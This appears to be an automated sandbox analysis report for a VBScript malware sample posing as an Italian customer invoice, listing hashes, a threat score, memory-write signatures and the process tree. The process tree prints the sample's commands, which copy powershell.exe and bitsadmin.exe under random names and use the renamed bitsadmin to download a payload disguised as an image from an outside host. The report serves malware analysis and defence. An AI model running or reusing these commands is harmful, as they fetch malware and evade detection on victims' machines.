Analysis
- max time kernel
65s - max time network
68s - platform
windows10_x64 - resource
win10v200430 - submitted
13/07/2020, 07:40
Static task
static1
Behavioral task
behavioral1
Sample
Fatt_cliente_07008120482.vbs
Resource
win7
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
Fatt_cliente_07008120482.vbs
Resource
win10v200430
0 signatures
0 seconds
General
- Target Fatt_cliente_07008120482.vbs
- Size 4KB
- Sample200713-76qs887gzx
- SHA256 1b30d432a173c580e9c49c492974bb046d9702bb53a80eccd5c4137ecf9ef839
- MD5 740e42ba34a3eb4f22a7f2ce3a738a5c
- SHA1 ad8a96ca8d57f0d18ff06366d507d547deb051b0
- SHA512 f15559533b8dadf6571e141347db4c90c4679fd57346760a4912d94d6dcc33b4049bc93565ae9acb75324b039c065f78a294dfff9594a73a6d7fcdbfee3bba54
- MD5 SHA1 SHA512
Score
8/10
Malware Config
Signatures
- Suspicious use of WriteProcessMemory 7 IoCs
description pid Process procid_target PID 2916 wrote to memory of 416 2916 WScript.exe 66 PID 2916 wrote to memory of 416 2916 WScript.exe 66 PID 2916 wrote to memory of 808 2916 WScript.exe 68 PID 2916 wrote to memory of 808 2916 WScript.exe 68 PID 2916 wrote to memory of 812 2916 WScript.exe 70 PID 2916 wrote to memory of 812 2916 WScript.exe 70 PID 2916 wrote to memory of 812 2916 WScript.exe 70 - Executes dropped EXE 1 IoCs
pid Process 812 wubvVZY.exe
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Fatt_cliente_07008120482.vbs"1⤵
- Suspicious use of WriteProcessMemory
PID:2916 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Roaming\zwubvVZY.exe2⤵PID:416
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c copy /Z c:\Windows\SysWOW64\bitsadmin.exe C:\Users\Admin\AppData\Roaming\wubvVZY.exe2⤵PID:808
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C:\Users\Admin\AppData\Roaming\wubvVZY.exe"C:\Users\Admin\AppData\Roaming\wubvVZY.exe" /transfer VWCWnV /download https://sheyenneweber.com/webol/07008120482/logo.jpg C:\Users\Admin\AppData\Roaming\logo.jpg2⤵
- Executes dropped EXE
PID:812
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